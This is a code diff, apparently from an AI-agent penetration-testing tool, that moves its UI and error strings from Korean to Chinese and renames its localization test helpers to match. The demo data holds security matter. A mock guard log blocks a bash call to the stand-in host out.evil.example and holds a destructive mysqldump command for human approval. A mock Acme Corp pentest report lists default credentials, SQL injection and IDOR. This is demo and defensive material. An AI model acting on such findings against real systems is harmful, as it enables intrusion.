- errTaskTemplateNameConflict = "이미 존재하는 템플릿 이름입니다"
- errTaskTemplateRuleInvalid = "가로채기/허용 규칙이 올바르지 않습니다: "
- errTaskTemplateNoFields = "name, description, goal, category_id, intercept_rules 중 하나 이상을 제공해야 합니다"
- errTaskTemplateFieldTooLongFmt = "%s 항목은 최대 %d자까지 입력할 수 있습니다"
+ errTaskTemplateRequestTooLarge = "请求体过大"
+ errTaskTemplateNameConflict = "已存在同名模板"
+ errTaskTemplateRuleInvalid = "拦截/允许规则无效:"
+ errTaskTemplateNoFields = "必须提供 name、description、goal、category_id、intercept_rules 中的至少一个"
+ errTaskTemplateFieldTooLongFmt = "%s 项最多 %d 个字符"
)
// taskTemplateRequest uses pointers so PATCH can distinguish omitted fields from
diff --git a/server/task_templates_localized_test.go b/server/task_templates_localized_test.go
index 637d623..79b8656 100644
--- a/server/task_templates_localized_test.go
+++ b/server/task_templates_localized_test.go
@@ -15,11 +15,11 @@ import (
// leftover Chinese Han characters. The format constant is checked after
// formatting so the %s/%d verbs resolve to a concrete message.
func TestTaskTemplateErrorConstantsLocalized(t *testing.T) {
- assertKoreanError(t, "request-too-large", errTaskTemplateRequestTooLarge)
- assertKoreanError(t, "name-conflict", errTaskTemplateNameConflict)
- assertKoreanError(t, "rule-invalid", errTaskTemplateRuleInvalid)
- assertKoreanError(t, "no-fields", errTaskTemplateNoFields)
- assertKoreanError(t, "field-too-long",
+ assertChineseError(t, "request-too-large", errTaskTemplateRequestTooLarge)
+ assertChineseError(t, "name-conflict", errTaskTemplateNameConflict)
+ assertChineseError(t, "rule-invalid", errTaskTemplateRuleInvalid)
+ assertChineseError(t, "no-fields", errTaskTemplateNoFields)
+ assertChineseError(t, "field-too-long",
fmt.Sprintf(errTaskTemplateFieldTooLongFmt, "name", db.MaxTaskTemplateNameRunes))
}
@@ -40,7 +40,7 @@ func TestTaskTemplateResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusRequestEntityTooLarge {
t.Fatalf("too-large status=%d, want 413", rec.Code)
}
- assertKoreanError(t, "too-large", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "too-large", decodeErrorField(t, rec.Body.Bytes()))
// validateTaskTemplateRequest — a name past the rune limit returns the
// Korean field-too-long error (surfaced via writeErr in the handlers).
@@ -49,7 +49,7 @@ func TestTaskTemplateResponsesLocalized(t *testing.T) {
if err == nil {
t.Fatal("name-too-long: 검증이 통과해서는 안 됩니다")
}
- assertKoreanError(t, "name-too-long", err.Error())
+ assertChineseError(t, "name-too-long", err.Error())
// writeTaskTemplateErr — the name-conflict sentinel maps to the Korean 409.
rec = httptest.NewRecorder()
@@ -57,5 +57,5 @@ func TestTaskTemplateResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusConflict {
t.Fatalf("name-conflict status=%d, want 409", rec.Code)
}
- assertKoreanError(t, "name-conflict-response", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "name-conflict-response", decodeErrorField(t, rec.Body.Bytes()))
}
diff --git a/server/triggers.go b/server/triggers.go
index 1ddbfc9..e3eb6f5 100644
--- a/server/triggers.go
+++ b/server/triggers.go
@@ -10,9 +10,9 @@ import (
// 트리거 설정을 검증할 때 사용자에게 돌려주는 오류 문구.
const (
- errTriggerNoCondition = "트리거 조건을 하나 이상 선택하세요(정기 실행/취약점 발견/목표 달성/작업 시간 초과/도구 호출/작업 생성)"
- errTriggerToolSetEmpty = "도구 호출 트리거는 도구를 하나 이상 선택하세요"
- errTriggerCustomOnly = "트리거는 사용자 지정 에이전트만 지원합니다"
+ errTriggerNoCondition = "请至少选择一个触发条件(定时执行/发现漏洞/达成目标/任务超时/工具调用/任务创建)"
+ errTriggerToolSetEmpty = "工具调用触发器请至少选择一个工具"
+ errTriggerCustomOnly = "触发器仅支持自定义代理"
)
func (s *Server) pgListTriggers(w http.ResponseWriter, r *http.Request) {
diff --git a/server/triggers_localized_test.go b/server/triggers_localized_test.go
index 4ad7024..84f177a 100644
--- a/server/triggers_localized_test.go
+++ b/server/triggers_localized_test.go
@@ -3,7 +3,7 @@ package server
import "testing"
// triggers.go 의 트리거 설정 검증 오류 문구를 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestTriggerErrorConstantsLocalized 는 오류 상수 3종이 전부 한국어임을 단언한다.
func TestTriggerErrorConstantsLocalized(t *testing.T) {
@@ -16,7 +16,7 @@ func TestTriggerErrorConstantsLocalized(t *testing.T) {
{"custom_only", errTriggerCustomOnly},
}
for _, c := range cases {
- assertKoreanError(t, c.name, c.msg)
+ assertChineseError(t, c.name, c.msg)
}
}
diff --git a/server/update.go b/server/update.go
index 2ff2722..493be43 100644
--- a/server/update.go
+++ b/server/update.go
@@ -24,13 +24,13 @@ import (
// 프런트엔드(system/settings 의 update-card)가 progress.message·reason·writeErr
// 본문을 그대로 렌더하므로 한국어로 둔다. 로그·중국어 주석은 Z2(로그 최하위)라 범위 밖.
const (
- updateMsgPreparing = "준비 중…"
- updateMsgFailed = "업데이트 실패"
- updateMsgStaged = "새 버전이 준비되었습니다. 재시작 중…"
- updateErrNotReleaseFmt = "현재 버전 %q 은(는) 정식 릴리스 버전이 아니므로 원클릭 업데이트를 사용할 수 없습니다"
- updateErrAlreadyLatestFmt = "이미 최신 버전입니다 (%s)"
- updateErrInProgress = "이미 업데이트가 진행 중입니다"
- updateErrRollbackInProgress = "업데이트가 진행 중이어서 롤백할 수 없습니다"
+ updateMsgPreparing = "准备中…"
+ updateMsgFailed = "更新失败"
+ updateMsgStaged = "新版本已准备好,正在重启…"
+ updateErrNotReleaseFmt = "当前版本 %q 不是正式发布版本,无法使用一键更新"
+ updateErrAlreadyLatestFmt = "已是最新版本 (%s)"
+ updateErrInProgress = "更新已在进行中"
+ updateErrRollbackInProgress = "更新正在进行中,无法回滚"
)
// restartCh 在升级就绪或回滚完成后关闭,main 收到后以 ExitRestart 退出。
diff --git a/server/update_localized_test.go b/server/update_localized_test.go
index 934fb2d..f48ad38 100644
--- a/server/update_localized_test.go
+++ b/server/update_localized_test.go
@@ -12,23 +12,23 @@ import (
// F3b(update.go): 셀프 업데이트 엔드포인트의 사용자 노출 문구가 한국어인지 지키는 회귀 테스트.
// 프런트엔드(system/settings 의 update-card)가 progress.message·reason·writeErr 본문을 그대로
// 렌더하므로, 이 문구가 중국어로 되돌아가면 업데이트 화면에 중국어 토스트·진행 메시지가 다시 뜬다.
-// assertKoreanError·decodeErrorField 헬퍼는 선행 F3b 테스트 파일(같은 package server)에서 재사용한다.
+// assertChineseError·decodeErrorField 헬퍼는 선행 F3b 테스트 파일(같은 package server)에서 재사용한다.
func TestUpdateMessageConstantsLocalized(t *testing.T) {
- assertKoreanError(t, "updateMsgPreparing", updateMsgPreparing)
- assertKoreanError(t, "updateMsgFailed", updateMsgFailed)
- assertKoreanError(t, "updateMsgStaged", updateMsgStaged)
- assertKoreanError(t, "updateErrInProgress", updateErrInProgress)
- assertKoreanError(t, "updateErrRollbackInProgress", updateErrRollbackInProgress)
+ assertChineseError(t, "updateMsgPreparing", updateMsgPreparing)
+ assertChineseError(t, "updateMsgFailed", updateMsgFailed)
+ assertChineseError(t, "updateMsgStaged", updateMsgStaged)
+ assertChineseError(t, "updateErrInProgress", updateErrInProgress)
+ assertChineseError(t, "updateErrRollbackInProgress", updateErrRollbackInProgress)
// 형식 문자열 상수는 플레이스홀더를 채운 뒤 검사한다(%q/%s 가 치환되고 한자 0).
notRelease := fmt.Sprintf(updateErrNotReleaseFmt, "v0.0.0-dev")
- assertKoreanError(t, "updateErrNotReleaseFmt", notRelease)
+ assertChineseError(t, "updateErrNotReleaseFmt", notRelease)
if !strings.Contains(notRelease, "v0.0.0-dev") {
t.Fatalf("updateErrNotReleaseFmt: 버전 플레이스홀더가 치환되지 않았습니다: %q", notRelease)
}
latest := fmt.Sprintf(updateErrAlreadyLatestFmt, "v1.2.3")
- assertKoreanError(t, "updateErrAlreadyLatestFmt", latest)
+ assertChineseError(t, "updateErrAlreadyLatestFmt", latest)
if !strings.Contains(latest, "v1.2.3") {
t.Fatalf("updateErrAlreadyLatestFmt: 버전 플레이스홀더가 치환되지 않았습니다: %q", latest)
}
@@ -90,7 +90,7 @@ func TestUpdateRollbackInProgressLocalized(t *testing.T) {
t.Fatalf("상태 코드 409 기대, 실제 %d (본문 %s)", rec.Code, rec.Body.Bytes())
}
msg := decodeErrorField(t, rec.Body.Bytes())
- assertKoreanError(t, "updateRollback 진행 중 409", msg)
+ assertChineseError(t, "updateRollback 진행 중 409", msg)
if msg != updateErrRollbackInProgress {
t.Fatalf("롤백 거부 문구 불일치: %q", msg)
}
diff --git a/server/webui_stub.go b/server/webui_stub.go
index 71ac63d..3c2ee94 100644
--- a/server/webui_stub.go
+++ b/server/webui_stub.go
@@ -13,6 +13,6 @@ import "net/http"
// go build -tags embedui ./cmd/artex
func (s *Server) webuiHandler() http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
- http.Error(w, "이 바이너리에는 프런트엔드가 내장되어 있지 않습니다(개발 시에는 next dev 로 실행하고, 배포용은 -tags embedui 로 빌드하세요).", http.StatusNotFound)
+ http.Error(w, "此二进制文件未内置前端(开发时请使用 next dev 运行,发布版本请使用 -tags embedui 构建)。", http.StatusNotFound)
})
}
diff --git a/server/webui_stub_localized_test.go b/server/webui_stub_localized_test.go
index c4b77d8..f3c0c1c 100644
--- a/server/webui_stub_localized_test.go
+++ b/server/webui_stub_localized_test.go
@@ -23,7 +23,7 @@ func TestWebUIStubErrorLocalized(t *testing.T) {
t.Fatalf("상태 코드가 404 가 아닙니다: %d", rec.Code)
}
body := strings.TrimSpace(rec.Body.String())
- assertKoreanError(t, "webui.stub", body)
+ assertChineseError(t, "webui.stub", body)
// 명령 참조는 원문 그대로 보존되어야 한다(번역 대상 아님).
for _, want := range []string{"next dev", "-tags embedui"} {
if !strings.Contains(body, want) {
diff --git a/server/workspace.go b/server/workspace.go
index fe43267..4203e5f 100644
--- a/server/workspace.go
+++ b/server/workspace.go
@@ -26,16 +26,16 @@ const (
// 사용자에게 노출되는 오류 문구(한국어). 경로·페이로드·err.Error() 원문은 그대로 둔다.
// workspace → "작업 공간"(용어집 정본).
const (
- errWsIllegalPath = "잘못된 경로입니다"
- errWsPathNotFound = "경로가 존재하지 않습니다"
- errWsNotDir = "디렉터리가 아닙니다"
- errWsFileNotFound = "파일이 존재하지 않습니다"
- errWsIsDir = "디렉터리이므로 파일로 읽을 수 없습니다"
- errWsTargetIsDir = "대상 경로가 디렉터리입니다"
- errWsCannotDeleteRoot = "작업 공간 루트 디렉터리는 삭제할 수 없습니다"
- errWsUploadDirMissing = "대상 디렉터리가 존재하지 않습니다"
- errWsUploadParse = "업로드 처리에 실패했거나 크기 제한을 초과했습니다: " // 뒤에 err.Error() 를 이어 붙인다
- errWsNoUploadFile = "업로드할 파일이 없습니다(폼 필드 file)"
+ errWsIllegalPath = "无效的路径"
+ errWsPathNotFound = "路径不存在"
+ errWsNotDir = "不是目录"
+ errWsFileNotFound = "文件不存在"
+ errWsIsDir = "是目录,无法作为文件读取"
+ errWsTargetIsDir = "目标路径是目录"
+ errWsCannotDeleteRoot = "无法删除工作空间根目录"
+ errWsUploadDirMissing = "目标目录不存在"
+ errWsUploadParse = "上传处理失败或超出大小限制: " // 뒤에 err.Error() 를 이어 붙인다
+ errWsNoUploadFile = "没有要上传的文件(表单字段 file)"
)
// wsResolve maps a user-supplied relative path to an absolute path INSIDE the work
diff --git a/server/workspace_localized_test.go b/server/workspace_localized_test.go
index af41b6b..472a913 100644
--- a/server/workspace_localized_test.go
+++ b/server/workspace_localized_test.go
@@ -26,7 +26,7 @@ func TestWorkspaceErrorConstantsLocalized(t *testing.T) {
"uploadParse": errWsUploadParse,
"noUploadFile": errWsNoUploadFile,
} {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -84,7 +84,7 @@ func TestWorkspaceHandlerResponsesLocalized(t *testing.T) {
if got != c.want {
t.Fatalf("error = %q, want %q", got, c.want)
}
- assertKoreanError(t, c.name, got)
+ assertChineseError(t, c.name, got)
})
}
}
diff --git a/sidequestion/context.go b/sidequestion/context.go
index deaee92..7232f4e 100644
--- a/sidequestion/context.go
+++ b/sidequestion/context.go
@@ -17,15 +17,15 @@ import (
// summaryInstruction prompt and the "[此前摘要]"/"[新材料片段]" framing below are
// agent-brain text sent to the model, so they stay in their benchmarked Chinese.
var (
- errSideSummaryCallCap = errors.New("곁질문 컨텍스트 정리가 이번 처리 상한에 도달했습니다. 질문 범위를 좁힌 뒤 다시 시도해 주세요.")
- errSideSummaryIncomplete = errors.New("곁질문 요약이 완전히 생성되지 않았습니다. 다시 시도해 주세요.")
- errSideSummaryOverBudget = errors.New("곁질문 요약이 예산 이내로 줄어들지 않았습니다. 다시 시도해 주세요.")
- errSideHistoryCursor = errors.New("곁질문 기록 커서가 유효하지 않습니다.")
- errSideCompactionStalled = errors.New("곁질문 압축으로 컨텍스트를 더 줄이지 못해 재시도를 중단했습니다.")
+ errSideSummaryCallCap = errors.New("旁路问答上下文整理已达到本次处理上限。请缩小问题范围后重试。")
+ errSideSummaryIncomplete = errors.New("旁路问答摘要未完整生成,请重试。")
+ errSideSummaryOverBudget = errors.New("旁路问答摘要未缩减到预算范围内,请重试。")
+ errSideHistoryCursor = errors.New("旁路问答历史游标无效。")
+ errSideCompactionStalled = errors.New("旁路问答压缩未能进一步缩减上下文,已停止重试。")
)
// sideSummaryFailedPrefix prefixes a wrapped summarizer failure (keeps %w).
-const sideSummaryFailedPrefix = "곁질문 요약에 실패했습니다"
+const sideSummaryFailedPrefix = "旁路问答摘要失败"
// Memory is independent of the main snapshot. Through is a persisted ordinal,
// not an array offset; restart, pagination and failed requests cannot shift it.
diff --git a/sidequestion/request.go b/sidequestion/request.go
index 88d2a17..481dadc 100644
--- a/sidequestion/request.go
+++ b/sidequestion/request.go
@@ -35,7 +35,7 @@ const instruction = "这是独立的旁路提问。主 Agent 正在执行原任
const DefaultOutputTokens = 8192
const MaxRecentExchanges = 20
-var ErrContextBudget = errors.New("곁질문 컨텍스트를 압축해도 모델 예산을 초과합니다. 질문 범위를 좁히거나 모델 컨텍스트 설정을 조정해 주세요.")
+var ErrContextBudget = errors.New("旁路问答上下文压缩后仍超出模型预算。请缩小问题范围或调整模型上下文设置。")
// EstimateInputTokens follows norma's byte-based block estimate with its 4/3
// safety factor. Include system/schema and framing costs too; JSON characters
diff --git a/sidequestion/service.go b/sidequestion/service.go
index ef82dab..a10cb10 100644
--- a/sidequestion/service.go
+++ b/sidequestion/service.go
@@ -13,13 +13,13 @@ import (
// benchmarked Chinese; only text and errors shown to the user are localized
// (BRIEF 현지화 방침: 출력 언어만 한국어, 프롬프트 본문은 보존).
var (
- errSideModelInterrupted = errors.New("모델 응답이 중단되었습니다. 다시 질문해 주세요.")
- errSideNoAnswer = errors.New("모델이 답변을 반환하지 않았습니다.")
+ errSideModelInterrupted = errors.New("模型响应已中断,请重新提问。")
+ errSideNoAnswer = errors.New("模型未返回回答。")
)
// msgSideToolUnavailable is the answer text shown when a side question tries to
// trigger a tool call: side questions cannot run tools.
-const msgSideToolUnavailable = "현재 곁질문에서는 도구 작업을 실행할 수 없습니다. 작업 요청은 메인 대화에서 보내 주세요."
+const msgSideToolUnavailable = "当前旁路问答无法执行工具操作。请在主对话中发送任务请求。"
// SideQuestionService has no harness, tool executor, transcript writer or model
// failover chain. Answer is one completion; Respond adds bounded preparation
diff --git a/sidequestion/sidequestion_localized_test.go b/sidequestion/sidequestion_localized_test.go
index 096f517..9abbb22 100644
--- a/sidequestion/sidequestion_localized_test.go
+++ b/sidequestion/sidequestion_localized_test.go
@@ -7,25 +7,25 @@ import (
"unicode"
)
-// assertKorean fails if msg is empty, carries a CJK Han ideograph (= leftover
-// untranslated Chinese), or has no Hangul at all. ASCII field names and the
-// "1–4000"-style ranges are fine; only Han marks an unlocalized string.
-func assertKorean(t *testing.T, label, msg string) {
+// assertChinese fails if msg is empty, carries Hangul (= leftover untranslated
+// Korean), or has no Han ideograph at all. ASCII field names and the
+// "1–4000"-style ranges are fine; only Hangul marks an unlocalized string.
+func assertChinese(t *testing.T, label, msg string) {
t.Helper()
if msg == "" {
t.Fatalf("%s: 빈 메시지", label)
}
- hangul := false
+ han := false
for _, r := range msg {
- if unicode.Is(unicode.Han, r) {
- t.Fatalf("%s: 중국어 한자가 남아 있습니다: %q", label, msg)
- }
if unicode.Is(unicode.Hangul, r) {
- hangul = true
+ t.Fatalf("%s: 한국어가 남아 있습니다: %q", label, msg)
+ }
+ if unicode.Is(unicode.Han, r) {
+ han = true
}
}
- if !hangul {
- t.Fatalf("%s: 한글이 없습니다: %q", label, msg)
+ if !han {
+ t.Fatalf("%s: 汉字缺失: %q", label, msg)
}
}
@@ -34,16 +34,16 @@ func assertKorean(t *testing.T, label, msg string) {
// These surface through /api/.../side-questions into the chat 곁질문 panel, so a
// revert to Chinese here is a user-visible regression and must fail the build.
func TestSideQuestionOutputsLocalized(t *testing.T) {
- assertKorean(t, "ErrContextBudget", ErrContextBudget.Error())
- assertKorean(t, "errSideModelInterrupted", errSideModelInterrupted.Error())
- assertKorean(t, "errSideNoAnswer", errSideNoAnswer.Error())
- assertKorean(t, "msgSideToolUnavailable", msgSideToolUnavailable)
- assertKorean(t, "errSideSummaryCallCap", errSideSummaryCallCap.Error())
- assertKorean(t, "sideSummaryFailedPrefix", sideSummaryFailedPrefix)
- assertKorean(t, "errSideSummaryIncomplete", errSideSummaryIncomplete.Error())
- assertKorean(t, "errSideSummaryOverBudget", errSideSummaryOverBudget.Error())
- assertKorean(t, "errSideHistoryCursor", errSideHistoryCursor.Error())
- assertKorean(t, "errSideCompactionStalled", errSideCompactionStalled.Error())
+ assertChinese(t, "ErrContextBudget", ErrContextBudget.Error())
+ assertChinese(t, "errSideModelInterrupted", errSideModelInterrupted.Error())
+ assertChinese(t, "errSideNoAnswer", errSideNoAnswer.Error())
+ assertChinese(t, "msgSideToolUnavailable", msgSideToolUnavailable)
+ assertChinese(t, "errSideSummaryCallCap", errSideSummaryCallCap.Error())
+ assertChinese(t, "sideSummaryFailedPrefix", sideSummaryFailedPrefix)
+ assertChinese(t, "errSideSummaryIncomplete", errSideSummaryIncomplete.Error())
+ assertChinese(t, "errSideSummaryOverBudget", errSideSummaryOverBudget.Error())
+ assertChinese(t, "errSideHistoryCursor", errSideHistoryCursor.Error())
+ assertChinese(t, "errSideCompactionStalled", errSideCompactionStalled.Error())
}
// TestSideQuestionBudgetSentinelPreserved: localizing the message must not break
diff --git a/web/src/app/(main)/chat/page.tsx b/web/src/app/(main)/chat/page.tsx
index 08b482b..338b98b 100644
--- a/web/src/app/(main)/chat/page.tsx
+++ b/web/src/app/(main)/chat/page.tsx
@@ -469,7 +469,7 @@ function DraftChat({
- {t("emptyStart", { agent: agent?.name ?? "에이전트" })}
+ {t("emptyStart", { agent: agent?.name ?? "Agent" })}
{agent?.description && {agent.description}
}
@@ -1257,7 +1257,7 @@ export default function ChatPage() {
if (agentFilter !== null) keys.add(agentFilter);
return [...keys]
.map((key) => ({ key, name: agentByKey.get(key)?.name || key, count: counts.get(key) ?? 0 }))
- .sort((a, b) => a.name.localeCompare(b.name, "ko"));
+ .sort((a, b) => a.name.localeCompare(b.name, "zh"));
}, [convs, chatAgents, agentByKey, agentFilter]);
const conversationCountLabel =
agentFilter === null
diff --git a/web/src/app/(main)/function/tasks/page.tsx b/web/src/app/(main)/function/tasks/page.tsx
index 2c2de6c..6a3a798 100644
--- a/web/src/app/(main)/function/tasks/page.tsx
+++ b/web/src/app/(main)/function/tasks/page.tsx
@@ -1690,7 +1690,7 @@ function TaskArchivesPanel({ onChanged }: { onChanged: () => void }) {
let restored = false;
states.forEach((state, index) => {
if (state.status !== "rejected" || !(state.reason instanceof Error)) return;
- if (!state.reason.message.includes("보관을 찾을 수 없습니다")) return;
+ if (!state.reason.message.includes("找不到归档")) return;
pendingRestoreIDs.current.delete(pending[index]);
restored = true;
});
diff --git a/web/src/app/(main)/system/logs/page.tsx b/web/src/app/(main)/system/logs/page.tsx
index eb33c1c..0beb5a5 100644
--- a/web/src/app/(main)/system/logs/page.tsx
+++ b/web/src/app/(main)/system/logs/page.tsx
@@ -32,28 +32,28 @@ const MOCK_LOGS: LogLine[] = [
ts: "2026-07-26T03:56:10Z",
level: "info",
tag: "planner",
- text: "task t-acme-web: 계획 3라운드, 의도 i-4 생성",
+ text: "task t-acme-web: 计划 3 轮,生成意图 i-4",
},
{
seq: 4,
ts: "2026-07-26T03:57:00Z",
level: "warn",
tag: "guard",
- text: "block bash: 범위 이탈, out.evil.example 는 scope 밖",
+ text: "block bash: 范围越界,out.evil.example 不在 scope 内",
},
{
seq: 5,
ts: "2026-07-26T03:57:30Z",
level: "info",
tag: "work#1",
- text: "report_finding: Default Credentials (high) 저장 완료",
+ text: "report_finding: Default Credentials (high) 保存完成",
},
{
seq: 6,
ts: "2026-07-26T03:58:20Z",
level: "error",
tag: "work#3",
- text: "intercept: mysqldump 파괴적 규칙 적중, 사람 승인 대기",
+ text: "intercept: mysqldump 命中破坏性规则,等待人工审批",
},
];
diff --git a/web/src/app/(main)/system/skills/page.tsx b/web/src/app/(main)/system/skills/page.tsx
index 8538d9b..2d78308 100644
--- a/web/src/app/(main)/system/skills/page.tsx
+++ b/web/src/app/(main)/system/skills/page.tsx
@@ -401,7 +401,7 @@ export default function SkillsPage() {
const msg = (e as Error).message;
// offer overwrite when the skill already exists
// (server_mgmt.go errMgmtSkillExistsPre 와 짝 맞춘 교차 스택 마커)
- if (!overwrite && msg.includes("이미 존재")) {
+ if (!overwrite && msg.includes("已存在")) {
if (window.confirm(t("overwriteConfirm", { msg }))) {
await uploadZip(file, true);
return;
diff --git a/web/src/components/transcript.tsx b/web/src/components/transcript.tsx
index 8760b95..6579414 100644
--- a/web/src/components/transcript.tsx
+++ b/web/src/components/transcript.tsx
@@ -189,7 +189,7 @@ function InterceptCard({ step, getDetail }: { step: Activity; getDetail: (seq: n
}, [step.summary]);
const toolName = React.useMemo(() => {
- const m = /도구\s+(\S+)\s+승인/.exec(step.summary);
+ const m = /工具\s+(\S+)\s+审批/.exec(step.summary);
return m ? m[1] : step.summary;
}, [step.summary]);
diff --git a/web/src/i18n/config.ts b/web/src/i18n/config.ts
index 53d724c..fc2c496 100644
--- a/web/src/i18n/config.ts
+++ b/web/src/i18n/config.ts
@@ -1,12 +1,12 @@
-// 지원 locale 과 기본값. 이 저장소는 ARTEX 한국어판이므로 기본 locale 은 "ko" 이고,
-// 원문 대조(상류 업데이트 비교)를 위해 중국어 "zh" 를 함께 둔다.
+// 지원 locale 과 기본값. 이 저장소는 기본 locale 을 "zh" 로 두어 전체 UI 를 중국어로
+// 강제하고, 원문 대조(상류 업데이트 비교)를 위해 한국어 "ko" 를 함께 둔다.
export const LOCALES = ["ko", "zh"] as const;
export type Locale = (typeof LOCALES)[number];
-export const DEFAULT_LOCALE: Locale = "ko";
+export const DEFAULT_LOCALE: Locale = "zh";
// 활성 locale 을 빌드 시점에 결정한다. 정적 내보내기(next.config 의 output: "export")와
// 호환되어야 하므로 cookies()·headers() 같은 동적 API 를 쓰지 않고 환경변수만 읽는다.
-// NEXT_PUBLIC_LOCALE 이 비었거나 지원 목록 밖이면 기본값(ko)으로 떨어진다.
+// NEXT_PUBLIC_LOCALE 이 비었거나 지원 목록 밖이면 기본값(zh)으로 떨어진다.
export function resolveLocale(): Locale {
const raw = process.env.NEXT_PUBLIC_LOCALE;
return LOCALES.includes(raw as Locale) ? (raw as Locale) : DEFAULT_LOCALE;
diff --git a/web/src/lib/api.ts b/web/src/lib/api.ts
index 612b1c0..32bac9e 100644
--- a/web/src/lib/api.ts
+++ b/web/src/lib/api.ts
@@ -127,7 +127,7 @@ export async function http(path: string, init?: RequestInit): Promise {
document.cookie = "artex_token=; path=/; max-age=0";
window.location.href = "/login";
}
- throw new Error("인증되지 않았습니다");
+ throw new Error("未认证");
}
if (!r.ok) {
const fallback = `${init?.method ?? "GET"} ${path}: ${r.status}`;
@@ -164,25 +164,25 @@ export async function http(path: string, init?: RequestInit): Promise {
// Token is appended as ?token= because SSE can't carry cookies cross-origin.
// mockReport returns a canned Markdown report for the demo.
function mockReport(_task?: string): string {
- return `# ARTEX 침투 테스트 보고서: Acme Corp
+ return `# ARTEX 渗透测试报告:Acme Corp
-## 개요
-- 범위: acme.com (www / admin / api / shop / vpn 서브도메인 포함)
-- 확인된 발견: 6건 (고위험 3 · 중위험 3 · 저위험 2)
-- 엔진 모드: exploring
+## 概述
+- 范围:acme.com(含 www / admin / api / shop / vpn 子域名)
+- 已确认发现:6 项(高危 3 · 中危 3 · 低危 2)
+- 引擎模式:exploring
-## 주요 발견
-1. **[높음] 백오피스 기본 비밀번호** admin.acme.com admin/admin123 → 백오피스를 완전히 장악할 수 있습니다.
-2. **[높음] SQL 인젝션** www.acme.com/search?q= → acme_prod 데이터베이스를 읽을 수 있습니다.
-3. **[높음] IDOR** api.acme.com/v1/orders?id= → 권한을 우회해 타인의 주문(휴대폰 번호/주소 포함)을 읽을 수 있습니다.
-4. **[중간] 반사형 XSS**, **.git 소스 코드 노출**, **로그인 속도 제한 없음**.
+## 主要发现
+1. **[高危] 后台默认口令** admin.acme.com admin/admin123 → 可完全控制后台。
+2. **[高危] SQL 注入** www.acme.com/search?q= → 可读取 acme_prod 数据库。
+3. **[高危] IDOR** api.acme.com/v1/orders?id= → 可绕过权限读取他人订单(含手机号/地址)。
+4. **[中危] 反射型 XSS**、**.git 源码泄露**、**登录接口无限速**。
-## 권고
-- 백오피스 비밀번호를 강제로 변경하고 MFA 를 활성화하며 기본 비밀번호를 차단합니다.
-- search 엔드포인트에 파라미터화 쿼리를 적용하고 출력을 인코딩합니다.
-- API 에 객체 수준 권한 검증(IDOR)을 추가하고 강력한 JWT 키로 교체합니다.
+## 建议
+- 强制更换后台口令,启用 MFA 并禁用默认口令。
+- 对 search 端点使用参数化查询并对输出编码。
+- 为 API 增加对象级权限校验(IDOR),并更换为强 JWT 密钥。
-> (demo) 본 보고서는 mock 데이터로 생성되었으며 화면 데모용입니다.`;
+> (demo) 本报告由 mock 数据生成,仅用于界面演示。`;
}
export function sseUrl(path: string): string {
@@ -447,19 +447,19 @@ export const api = {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
body: fd,
});
- if (!r.ok) throw new Error(`업로드 실패: ${r.status}`);
+ if (!r.ok) throw new Error(`上传失败:${r.status}`);
return r.json() as Promise<{ uploaded: number }>;
},
workspaceDownload: async (path: string) => {
let blob: Blob;
if (MOCK) {
- blob = new Blob([`(demo) ${path} 의 다운로드 내용 예시입니다.`], { type: "text/plain" });
+ blob = new Blob([`(demo) ${path} 的下载内容示例。`], { type: "text/plain" });
} else {
const token = getToken();
const r = await fetch(`/api/workspace/download?path=${encodeURIComponent(path)}`, {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
});
- if (!r.ok) throw new Error(`다운로드 실패: ${r.status}`);
+ if (!r.ok) throw new Error(`下载失败:${r.status}`);
blob = await r.blob();
}
const objUrl = URL.createObjectURL(blob);
@@ -648,8 +648,8 @@ export const api = {
{ headers: token ? { Authorization: `Bearer ${token}` } : {} },
);
if (!response.ok) {
- const error = await response.json().catch(() => ({ error: "다운로드 실패" }));
- throw new Error(error.error ?? "다운로드 실패");
+ const error = await response.json().catch(() => ({ error: "下载失败" }));
+ throw new Error(error.error ?? "下载失败");
}
const blob = await response.blob();
const url = URL.createObjectURL(blob);
@@ -897,7 +897,7 @@ export const api = {
headers: { ...(token ? { Authorization: `Bearer ${token}` } : {}) },
body: fd,
});
- if (!r.ok) throw new Error(`업로드 실패: ${r.status} ${await r.text()}`);
+ if (!r.ok) throw new Error(`上传失败:${r.status} ${await r.text()}`);
return r.json() as Promise<{ attachments: ChatAttachment[] }>;
},
stopChat: (taskId: string) => post<{ status: string }>(`/tasks/${taskId}/chat/stop`, {}),
@@ -1158,7 +1158,7 @@ export const api = {
headers: token ? { Authorization: `Bearer ${token}` } : {},
});
const body = await r.json().catch(() => ({}));
- if (!r.ok) throw new Error(body?.error || `업로드 실패(${r.status})`);
+ if (!r.ok) throw new Error(body?.error || `上传失败(${r.status})`);
return body;
},
deleteSkill: (name: string) => del<{ deleted: string }>(`/skills/${name}`),
diff --git a/web/src/lib/company-scope.ts b/web/src/lib/company-scope.ts
index 2199c26..741f732 100644
--- a/web/src/lib/company-scope.ts
+++ b/web/src/lib/company-scope.ts
@@ -149,21 +149,21 @@ export function companyScopeRuleError(rule: CompanyScopeRule): CompanyScopeError
export function companyScopeErrorText(code: CompanyScopeErrorCode | "" | undefined): string {
switch (code) {
case "empty":
- return "범위 값을 입력해 주세요";
+ return "请填写范围值";
case "tooLong":
- return `최대 ${MAX_COMPANY_SCOPE_VALUE_LENGTH}자까지 입력할 수 있습니다`;
+ return `最多 ${MAX_COMPANY_SCOPE_VALUE_LENGTH} 个字符`;
case "domainSpace":
- return "공백 없이 유효한 도메인 또는 URL을 입력해 주세요";
+ return "请输入不含空格的有效域名或 URL";
case "domainInvalid":
- return "유효한 도메인 또는 URL을 입력해 주세요";
+ return "请输入有效域名或 URL";
case "ipInvalid":
- return "유효한 IP를 입력해 주세요";
+ return "请输入有效 IP";
case "cidrInvalid":
- return "유효한 CIDR 대역을 입력해 주세요";
+ return "请输入有效 CIDR 网段";
case "cidrPrefixV4":
